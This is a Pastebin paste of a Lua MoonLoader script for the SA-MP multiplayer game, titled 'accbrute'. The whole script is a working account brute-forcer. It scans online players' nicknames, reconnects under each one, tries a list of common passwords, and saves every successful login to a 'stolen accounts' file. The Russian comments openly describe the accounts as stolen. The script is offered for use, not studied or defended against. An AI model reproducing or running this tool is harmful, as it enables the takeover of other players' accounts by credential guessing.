Advertisement
Guest User

accbrute

a guest
Jul 23rd, 2019
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.14 KB | None | 0 0
  1. local events = require 'lib.samp.events'
  2.  
  3. local enabled = false
  4.  
  5. local nicks = {}
  6. for line in io.lines('moonloader/a-account-list.txt') do
  7. table.insert(nicks, line)
  8. end
  9.  
  10. local words = {
  11. 'qwerty', '123456', '123123', 'asdfgh', 'zxcvbn'
  12. }
  13.  
  14. local stolen = {}
  15.  
  16. local index = 0
  17.  
  18. function relog(nick)
  19. sampSetLocalPlayerName(nick)
  20. sampConnectToServer(sampGetCurrentServerAddress())
  21. end
  22.  
  23. function trypass(password)
  24. lua_thread.create(function ()
  25. wait(1)
  26. sampSetCurrentDialogEditboxText(password)
  27. sampCloseCurrentDialogWithButton(1)
  28. end)
  29. end
  30.  
  31. function success(nick, password, banned)
  32. table.insert(stolen, {nick, password, banned})
  33. local output = ''
  34. for i = 1, #stolen do
  35. output = output .. '\n' .. stolen[i][1] .. ' ' .. stolen[i][2] .. (stolen[i][3] and ' [BAN]' or '')
  36. end
  37. local list = io.open('moonloader/a-stolen-accounts.txt', 'w')
  38. list:write(output)
  39. list:close()
  40. end
  41.  
  42. function sampIsPlayerOnline(nickname)
  43. for i = 0, 999 do
  44. if sampIsPlayerConnected(i) and sampGetPlayerNickname(i) == nickname then
  45. return true
  46. end
  47. end
  48. return false
  49. end
  50.  
  51. local lastTimeCalled = os.clock()
  52.  
  53. function brute()
  54. lastTimeCalled = os.clock()
  55. index = index + 1
  56. sampAddChatMessage('Аккаунт ' .. index .. ' из ' .. #nicks .. ', всего украдено: ' .. #stolen, -1)
  57. local hook = require 'lib.samp.events'
  58. if not nicks[index] then enabled = false; return end
  59. if sampIsPlayerOnline(nicks[index]) then return brute() end -- аккаунт находится на сервере
  60. relog(nicks[index])
  61. local tries = 0
  62. function hook.onShowDialog(a, b, c, d, e, text)
  63. if not enabled then return end
  64. if text:find('Ваш ник свободен') then return brute() end -- аккаунт не существует
  65. if text:find('Дата выдачи блокировки') then -- аккаунт забанен, но удалось войти
  66. success(nicks[index], words[tries], true)
  67. return brute()
  68. end
  69. if text:find('отличается от того адреса') then return brute() end -- стоит аутентификатор
  70. if text:find('Вы ввели неправильный пароль') then return trypass('') end
  71. if text:find('Если это ваш аккаунт') then
  72. tries = tries + 1
  73. if tries < #words + 1 then trypass(words[tries]) else brute() end
  74. end
  75. end
  76. function hook.onShowTextDraw(id, data)
  77. if not enabled then return end
  78. if data.text:find('enter your password') then return brute() end -- стоит доп. пароль
  79. end
  80. function hook.onServerMessage(c, m)
  81. if not enabled then return end
  82. if m:find('успешно вошли в свой аккаунт') then
  83. success(nicks[index], words[tries])
  84. brute()
  85. end
  86. end
  87. end
  88.  
  89. function main()
  90. while not isSampAvailable() do wait(0) end
  91. sampRegisterChatCommand('brute', function () enabled = true; brute() end)
  92. sampRegisterChatCommand('stopbrute', function () enabled = false end)
  93. sampRegisterChatCommand('stolen', function ()
  94. sampAddChatMessage('Список украденных аккаунтов:', -1)
  95. if #stolen == 0 then return sampAddChatMessage('Список пуст.', -1) end
  96. for i = 1, #stolen do
  97. sampAddChatMessage(stolen[i][1] .. ' ' .. stolen[i][2] .. (stolen[i][3] and ' [BAN]' or ''), -1)
  98. end
  99. end)
  100. sampRegisterChatCommand('scan', function ()
  101. local base = ''
  102. local count = 0
  103. for i = 0, 999 do
  104. if sampIsPlayerConnected(i) and not sampIsPlayerNpc(i) then
  105. local name = sampGetPlayerNickname(i)
  106. if not name:find('newplayer') then
  107. base = base .. '\n' .. sampGetPlayerNickname(i)
  108. count = count + 1
  109. end
  110. end
  111. end
  112. sampAddChatMessage('Сканирование успешно завершено. Всего добавлено ' .. count .. ' аккаунтов.', -1)
  113. local list = io.open('moonloader/a-account-list.txt', 'w')
  114. list:write(base:sub(2))
  115. list:close()
  116. end)
  117. while true do
  118. wait(1000)
  119. if enabled and os.clock() - lastTimeCalled > 60 then -- если что-то пошло не так, перезапускаем функцию
  120. brute()
  121. end
  122. end
  123. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement